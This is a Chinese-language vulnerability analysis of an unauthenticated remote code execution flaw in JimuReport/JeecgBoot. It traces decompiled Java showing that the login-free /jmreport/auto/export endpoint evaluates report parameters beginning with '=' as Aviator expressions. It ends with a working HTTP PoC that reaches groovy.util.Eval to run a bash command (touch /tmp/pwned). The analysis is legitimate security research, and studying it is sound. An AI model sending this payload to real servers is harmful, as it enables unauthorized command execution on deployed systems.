JimuReport Autoexport 未授权RCE分析

影响版本

JeecgBoot <=v3.9.3(JimuReport <=2.5.0)

环境搭建

https://github.com/jeecgboot/JeecgBoot/releases#release-v3.9.3

下载后docker compose一键搭建环境即可

漏洞分析

对应的文件在jimureport-spring-boot4-starter-2.5.0.jar

org.jeecg.modules.jmreport.automate.b.a
@RestController("jimuReportAutoController")
@RequestMapping({"/jmreport/auto"})
public class a {
    @Generated
    private static final Logger a = LoggerFactory.getLogger(a.class);
    @Autowired
    IJimuReportAutoService jimuReportAutoService;
    @Autowired
    JimuReportExportLogDao jimuReportExportLogDao;

    public a() {
    }

    @JimuNoLoginRequired
    @RequestMapping(
        value = {"/export"},
        method = {RequestMethod.POST}
    )
    public Result<?> a(@RequestBody JimuReportAutoExportVO jimuReportAutoExportVO) {
        String currentDomain = a(getRequest());
        jimuReportAutoExportVO.setDomain(currentDomain);
        jimuReportAutoExportVO.setExportFrom("api");
        a.debug("【调用python】报表自动导出参数,currentDomain ={}, jimuReportAutoExportVO = {}", currentDomain, jimuReportAutoExportVO);
        return this.jimuReportAutoService.autoExport(jimuReportAutoExportVO);
    }

export路由使用了@JimuNoLoginRequired注解,无需登录即可访问

org.jeecg.modules.jmreport.config.firewall.interceptor.JimuReportTokenInterceptor

org.jeecg.modules.jmreport.config.firewall.interceptor.JimuReportTokenInterceptor
JimuNoLoginRequired jimuNoLoginRequired = (JimuNoLoginRequired)method.getAnnotation(JimuNoLoginRequired.class);
  if (OkConvertUtils.isNotEmpty(jimuNoLoginRequired)) {
      return true;
} else {
      boolean isEffectiveToken = false;

JeecgBoot的ShiroConfig中允许/jmreport/**可以匿名访问

//积木报表排除
filterChainDefinitionMap.put("/jmreport/**", "anon");

所以jmreport/auto/export未登录即可直接访问

往下看

JimuReportAutoExportVOreportParams[].params可控

List<a> reportParams;

public static class a {
        String a;
        Map<String, String> b;

        @Generated
        public Map<String, String> getParams() {
            return this.b;
        }
        @Generated
        public void setParams(final Map<String, String> params) {
            this.b = params;
        }

继续看autoExport方法,org.jeecg.modules.jmreport.automate.service.a.a

public Result<?> autoExport(JimuReportAutoExportVO jimuReportAutoExportVO) {
    Result result = this.autoAsyncTasks.a(jimuReportAutoExportVO);
    return result.isSuccess() ? this.download(result.getResult().toString(), (String)null) : result;
}
autoAsyncTasks.a

首先把params转换为exportParams

 JSONArray exportParams = jimuReportAutoExportVO.getReportParams4ExportMore();
    public JSONArray getReportParams4ExportMore() {
        JSONArray result = new JSONArray();
        if (OkConvertUtils.isEmpty(this.reportParams)) {
            return result;
        } else {
            for(a detail : this.reportParams) {
                JSONObject data = new JSONObject();
                data.put("reportId", detail.getId());
                data.put("queryParam", JSONObject.toJSONString(detail.getParams()));
                data.put("exportType", detail.getExportType());
                data.put("fileName", detail.getFileName());
                data.put("sheetId", detail.getSheetId());
                result.add(data);
            }

            return result;
        }
    }

然后传入exportMore方法

this.jmReportExportService.exportMore(exportParams, (HttpServletRequest)null, (HttpServletResponse)null, downloadPath);
public void exportMore(JSONArray jsonArray, HttpServletRequest request, HttpServletResponse response, String downloadPath) {
                ...
                } else if ("pdf".equalsIgnoreCase(exportType)) {
                    result = this.a(response, request, reportId, exportAllObj);
                    suffix = ".pdf";
                    String originalName = OkConvertUtils.getString(result.get("name"), "");
                    String finalFileName = this.a(indexPrefix, rawFileName, originalName, numberedPattern);
                    a(result, (String)suffix, (Object)finalFileName, (String)downloadPath);
                } else if ("word".equalsIgnoreCase(exportType)) {

中间两次调用this.a

    public Map<String, Object> a(HttpServletRequest request, JSONObject exportAllObj) throws IOException {
        String excelConfigId = exportAllObj.getString("excelConfigId");
        JSONObject queryParam = exportAllObj.getJSONObject("queryParam");
        queryParam.put("printAll", true);
        String sheetId = exportAllObj.getString("sheetId");
        Result show = this.jmReportDesignService.show(excelConfigId, queryParam.toJSONString(), (List)null, sheetId);
        JSONObject jsonObject = this.jmReportFormService.fillInRender((JimuReport)show.getResult(), queryParam);
        JimuReport result = (JimuReport)show.getResult();
        result.setJsonStrJson(jsonObject);
        float dpi = 96.0F;
        if (null != request) {
            String dpiString = request.getParameter("dpi");
            if (OkConvertUtils.isNotEmpty(dpiString)) {
                dpi = Float.parseFloat(dpiString);
            }
        }

跟进show方法

    public Result<JimuReport> show(String id, String params, List<String> dbCode, String sheetId) {
        JSONObject paramsJson = new JSONObject();
        boolean onlyPageData = false;
        if (OkConvertUtils.isNotEmpty(params)) {
            paramsJson = JSON.parseObject(params);
            onlyPageData = "1".equals(paramsJson.getString("onlyPageData"));
        }

        a.debug("============EXCEL JSON数据查询==========");
        JimuReport design = this.reportDao.get(id);
        JSONObject jsonStrJson = this.jimuReportSheetService.getSheetJsonStr(design, sheetId);
        design.setJsonStrJson(jsonStrJson);
        design.setCurrentSheetId(sheetId);
        a.debug("==== begin 初始,配置的json字符串===" + design.getJsonStrJson());
        jsonStrJson = this.d(jsonStrJson);
        this.c(paramsJson, jsonStrJson);
        Map dataList = this.getDataById(design, paramsJson, onlyPageData, dbCode);

getDataById中参数直接传入getDbSql

String dbSql = this.getDbSql(reportDb, paramObject, paramJson, expList, groupField, sqlParamsMap, dbParamType);
    public String getDbSql(JmReportDb reportDb, JSONObject paramObject, JSONObject paramJson, List<JmExpression> expList, String groupField, Map<String, Object> sqlParamsMap, String dbParamType) {
        String baseSql = this.getBaseSql(reportDb, paramObject, sqlParamsMap, dbParamType);

然后进入getBaseSql

public String getBaseSql(JmReportDb jmReportDb, JSONObject paramJson, Map<String, Object> sqlParamsMap, String dbParamType) {
    String dbId = jmReportDb.getId();
    String dbCode = jmReportDb.getDbCode();
    String sql = jmReportDb.getDbDynSql();
    HashMap resultMap = new HashMap(5);
    JSONObject queryJson = new JSONObject();
    ArrayList<String> paramNumber = new ArrayList<String>();
    if (sql.toLowerCase().contains("where") && ((paramList = this.dbParamDao.list(dbId)) != null || paramList.size() > 0)) {
        for (JmReportDbParam param : paramList) {
            Object paramName;
            Boolean izExitDaoFormat;
            String tempKey = param.getParamName();
            Object paramValue = "";
            if (param.getSearchFlag() == 1) {
                paramValue = paramJson.get(param.getParamName());
                if (paramValue == null) {
                    paramValue = "";
                }
                queryJson.put(tempKey, paramValue);
                paramJson.remove(tempKey);
            } else {
                queryJson.put(tempKey, param.getParamValue());
                paramValue = param.getParamValue();
            }
            if (OkConvertUtils.isNotEmpty(param.getWidgetType()) && "number".equals(param.getWidgetType())) {
                paramNumber.add(tempKey);
            }
            if ((izExitDaoFormat = s.a(OkConvertUtils.getString((String)(paramName = param.getParamName()), ""), sql)).booleanValue()) continue;
            if (sqlParamsMap.containsKey(paramName)) {
                paramName = (String)paramName + JmReportUtil.a(5);
            }
            if ("jdbc".equals(dbParamType)) {
                sql = sql.replaceAll("'\\$\\{\\s*" + param.getParamName() + "\\s*}'", ":" + (String)paramName);
                sql = sql.replaceAll("\\$\\{\\s*" + param.getParamName() + "\\s*}", ":" + (String)paramName);
            } else {
                sql = sql.replaceAll("'\\$\\{\\s*" + param.getParamName() + "\\s*}'", ":sqlParamsMap." + (String)paramName);
                sql = sql.replaceAll("\\$\\{\\s*" + param.getParamName() + "\\s*}", ":sqlParamsMap." + (String)paramName);
            }
            sqlParamsMap.put((String)paramName, paramValue);
        }
    }
    queryJson.putAll((Map)paramJson);
    sql = JmReportUtil.k(sql);
    String token = this.jimuTokenClient.getToken();
    if (OkConvertUtils.isNotEmpty(token)) {
        Map<String, Object> systemParam = this.jimuTokenClient.getUserInfo(token);
        sql = JmReportUtil.b(sql, systemParam);
    } else {
        sql = JmReportUtil.b(sql, null);
    }
    HashMap<String, Object> paramMap = new HashMap<String, Object>(5);
    for (String key : queryJson.keySet()) {
        String value = queryJson.getString(key);
        if (OkConvertUtils.isEmpty(value)) {
            value = "";
        }
        value = ExpressUtil.a(value, null);
        paramMap.put(key, value);
        boolean izExitDaoFormat = s.a(OkConvertUtils.getString(key, ""), sql);
        if (sqlParamsMap.containsKey(key) && !izExitDaoFormat && OkConvertUtils.isNotEmpty(value)) {
            if (paramNumber.contains(key)) {
                Object numberValue = JmReportUtil.n(value);
                sqlParamsMap.put(key, numberValue);
            } else {
                sqlParamsMap.put(key, value);
            }
        }
        if (!izExitDaoFormat || !OkConvertUtils.isNotEmpty(value)) continue;
        SqlInjectionUtil.specialFilterContentForOnlineReport(value);
    }
    sql = FreeMarkerUtils.a(sql, paramMap);
    return sql;
}

queryJson.putAll((Map)paramJson)之后对每个参数值调用ExpressUtil.a

public static String a(String expression, Map<String, Object> systemParam) {
        if (expression == null) {
            return expression;
        } else {
            expression = expression.trim();
            if (expression.startsWith("=")) {
                String temp = expression.replace("=", "");
                if (OkConvertUtils.isEmpty(temp)) {
                    return expression;
                } else {
                    Expression exp = null;

                    try {
                        exp = i.compile(temp, true);
                    } catch (UnsupportedFeatureException e) {
                        j.error("使用了不支持的表达式功能{}", e.getMessage(), e);
                        return expression;
                    }

                    Object object = exp.execute(new HashMap(5));
                    return object.toString();
                }

如果值以=开头则去除=并进行compile,最后通过execute执行表达式

在下面静态代码块中disable了NewInstance

    static {
        i = i.useLRUExpressionCache(1000);
        i.setCachedExpressionByDefault(true);
        i.setOption(Options.TRACE_EVAL, false);
        i.setOption(Options.ALWAYS_PARSE_FLOATING_POINT_NUMBER_INTO_DECIMAL, true);
        i.disableFeature(Feature.NewInstance);

但是use与静态方法仍可使用,classpath中存在groovy-3.0.25.jar, 可直接调用groovy.util.Eval.me

    public static Object me(final String symbol, final Object object, final String expression) throws CompilationFailedException {
        Binding b = new Binding();
        b.setVariable(symbol, object);
        GroovyShell sh = new GroovyShell(b);
        return sh.evaluate(expression);
    }

PoC

GET /jeecg-boot/jmreport/excelQueryByTemplate?name=&pageNo=1&pageSize=10 HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
Accept: application/json
POST /jeecg-boot/jmreport/auto/export HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
Accept: application/json

{
  "reportParams": [{
    "id": "907480464532770816",
    "exportType": "pdf",
    "params": {
        "x": "=use groovy.util.Eval; Eval.me('[\"/bin/bash\",\"-c\",\"touch /tmp/pwned\"].execute()')"
      }
  }]
}

image-20260904230442654

image-20260904230519166